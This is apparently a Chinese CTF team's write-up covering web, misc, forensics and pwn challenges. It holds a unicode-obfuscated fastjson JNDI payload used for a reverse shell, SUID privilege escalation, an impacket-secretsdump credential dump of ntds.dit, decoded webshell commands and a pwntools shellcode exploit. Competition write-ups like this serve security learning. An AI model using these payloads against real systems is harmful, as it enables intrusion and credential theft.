type
Post
status
Published
date
Jul 10, 2022
slug
summary
干煸豆角队wp
tags
CTF_Wp
category
CTF_Wp
icon
password
URL
Photo
webEz_gadgetmiscdomainhackerdomainhacker2取证(AK)手机取证1手机取证2电脑取证1电脑取证2电脑取证3电脑取证4程序取证1程序取证2程序取证3程序取证4网站取证1网站取证2网站取证3网站取证4PWNPwn1
web
Ez_gadget
审计后发现 需要不同的str 但是hashCode需要一样
将前两位字母替换计算

绕过之后就可以打fastjson 1.2.62了 ,bypass绕过使用unicode就可以了
使用RougeJndi 生成恶意类反弹shell

{"\u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u 0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u007 2\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u 002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u006 002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u006 5\u0072","asText":"unicode(ldap://xxx/o=tomcat))"}

反弹shell后,suid提权date,查看/root/flag.txt

misc
domainhacker
看流量包发现是个动态加密木马流量

最后一个找到他是一个压缩包,但是有密码

追踪加密压缩包流量找到解压密码

解压之后得到机器码

domainhacker2
根据第一个可知他压缩命令时会返回进度条,搜索100%,追踪流找到请求包

找到之后丢到之前的解密脚本中
<?php $q8fb9d4c082c11 = "suY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg=="; $s = base64_decode(substr($q8fb9d4c082c11, 2)); $d= "1a4be8815ef8b4e7e465b620"; $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; echo $c;

得到解压密码
FakePassword123$
发现两个文件,丢到kali中解密impacket-secretsdump -system ./SYSTEM -ntds ./ntds.dit LOCAL -history
查看历史密码

取证(AK)
手机取证1
一个是这个图图库直接找

手机取证2
第二个是在skype里面的群组里有姜总和手机持有人的对话

电脑取证1

电脑取证2
这个是获取镜像的进程

电脑取证3
后面是用工具爆破出密码




电脑取证4
先用password kit,提取新建文本文档,然后得到这一串
然后将unprotect导入取证大师,得到一个zip


然后破解

最后得到这个

程序取证1

程序取证2

程序取证3

程序取证4

网站取证1


一句话木马连接密码
lanmaobei666
网站取证2

找到加密函数跑一下 ,坑 注意
PHP7.0!!!

网站取证3
全局搜索encrypt找到encrypt相关函数定义 , 阅读源码发现盐值

网站取证4
SQL文件仿真得到交易数据

解密狗狗币脚本
<?php function decrypt($data, $key = 'jyzg123456') { $key = md5($key); $x = 0; $data = base64_decode($data); $len = mb_strlen($data); $l = mb_strlen($key); $char = ''; $str = ''; for ($i = 0; $i < $len; $i++) { if ($x == $l) { $x = 0; } $char .= mb_substr($key, $x, 1); $x++; } for ($i = 0; $i < $len; $i++) { if (ord(mb_substr($data, $i, 1)) < ord(mb_substr($char, $i, 1))) { $str .= chr((ord(mb_substr($data, $i, 1)) + 256) - ord(mb_substr($char, $i, 1))); } else { $str .= chr(ord(mb_substr($data, $i, 1)) - ord(mb_substr($char, $i, 1))); } } return $str; } $total=0; $datastuck=['mZVymm9t', 'lpxqlXFo', 'l5xummto', 'm5Zwm3Bn', 'nJhtlGlm', 'm5tpmGtm', 'm5ptnGtu', 'mZlym25r', 'm5hpnHBu', 'm5prlm9u', 'nJlyl2hu', 'lptummhs', 'lpxrl21n', 'mZRpnHBs', 'mZpxm2lr', 'm5dtmGls', 'mpxvlnBv', 'mJpynHBt', 'nJZwm2lu', 'mpdtnWxq', 'nJdtlmpr', 'mZtymHBm', 'nJlslmpp', 'l5RunW1p', 'nJxplXFm', 'lZdpmm1s', 'mZZwnW9u', 'mJVrmmhp', 'lZZwl3Bs', 'm5xvm2hm', 'mpZslmpm', 'mZtrnGtp', 'lp1rm21t', 'nJxplmtp', 'l5twlXFq', 'lphqmm9s', 'm51wmG1q', 'mJlxlWto', 'lJ1vmXFq', 'mpVpmW5r', 'm5lrlGpr', 'mpxplm9u', 'lZpxnHFn', 'nJdymWpm', 'mJpum3Fo', 'lpRrmWto', 'lZtunXBv', 'lpprnWtt', 'lJdslnBr', 'lJZrnWpm', 'l5Zrm21m', 'lJdul2hm', 'mphylG9q', 'lZhpm2pp', 'lZ1qnW1s', 'nJ1tlHFp', 'mZxqm2tp', 'mZdsm21t', 'mpRvlG9o', 'mJVqlmhv', 'mJRwlHBq', 'l5dtmWtt', 'mZdylHFt', 'l5RqlWxn', 'mZ1um3Fs', 'lJ1rnWhu', 'm5pulWhv', 'lptrnW1u', 'm5xynWxn', 'lpRynGtr', 'mpxulGlm', 'nJdslm9r', 'lJhslHBq', 'nJpwnWhu', 'mptql2tv', 'l51xmmlp', 'mZVymXFn', 'lJhqnW5q', 'm5ppmGpr', 'mZlqm21t', 'mpZslWxt', 'mJ1pnHFm', 'l5drlXBp', 'mJlvmW1u', 'mZtxlG5t', 'nJtsnHFn', 'l5Rvm29o', 'm5xvlWxv', 'm5Zrl2xm', 'mZlwlG1u', 'nJpvlWtr', 'mJxym25s', 'lpVqnWxv', 'mZVvl3Fq', 'lZVtlW5m', 'lZRqlGhn', 'nJxqm2hn', 'nJVtl21s', 'lJdumWlq', 'mJtxmGtp', 'mZxsnHFv', 'lpdtl2xn', 'mphqlm5p', 'lJdxlGpn', 'lpVvlHFu', 'lJhvmHBn', 'l5xunGtv', 'lZRul2pt', 'mpdqnGxu', 'l5Zxlmho', 'lJppmWhq', 'nJVylWpp', 'm5VxnWlr', 'lpdsnGtq', 'mZ1tnGpt', 'mJVqmmtq', 'l5hslWhm', 'lZZtl21r', 'nJlumGlm', 'lJhsmW9t', 'lZZym25s', 'l5tpnHBt', 'nJVunG1q', 'mJdtlHFu', 'mpVtlnFp', 'mplrnG1t', 'mJ1ylHBr', 'nJhynG5m', 'mplymG1r', 'lJtxlGxo', 'lpRxnGlm', 'mZxwnG5s', 'mZptnWpn', 'mJZylGxq', 'mZZvm3Fo', 'lJdxnW9t', 'lZtxmXFv', 'nJxtlXFm', 'mJZumW1r', 'nJ1tmG1p', 'mplslmpu', 'lJZxlG5p', 'nJtxmXBq', 'lZdxmmtq', 'lJdrlG1o', 'mpZtmmlm', 'mJVxnGpm', 'mJVwmWxu', 'mplslWps']; for($i=0 ; $i<=148; $i++){ $money=decrypt($datastuck[$i],$key = 'jyzg123456'); echo $money."\n"; }

得出来的是一竖列,直接复制粘贴到excell 手算的每天总GG币数量(有点菜不是很会写py脚本),然后粘贴到汇率的表格中求单元格乘积。

PWN
Pwn1
这个题就是直接执行一段写入的shellcode,所以构造好shellcode就好了
# -*- coding: UTF-8 -*- from pwn import * from LibcSearcher import * context.arch = 'amd64' context.log_level = 'debug' local_file = './escape_shellcode' #libc = ELF('/home/yjc/Desktop/Libc/U16/libc-2.23-32.so') select = 1 if select == 0: p = process(local_file) libc = ELF('/glibc/x64/2.23/lib/libc-2.23.so') #gdb.attach(p) else: p = remote('39.107.124.203',21006) libc = ELF('/home/yjc/Desktop/Libc/U16/libc-2.23-64.so') #libc = ELF(remote_libc) elf = ELF(local_file) pop_rdi = 0x00000000000015f3 pop_rbp = 0x0000000000001273 shellcode = """ mov rsi, [rip - 0x2a9] sub rsi, 0x4000 mov rdi, 1 mov rdx, 0x400 Loop1: sub rsi, 0x400 mov rax, 1 syscall cmp rax, 0 jl Loop1 and rsi, 0xfffffffffffff000 add rsi, 0x120 mov rdx, 0x50 mov rax, 1 syscall """ shellcode = asm(shellcode,arch = "amd64") p.sendline(shellcode) p.interactive()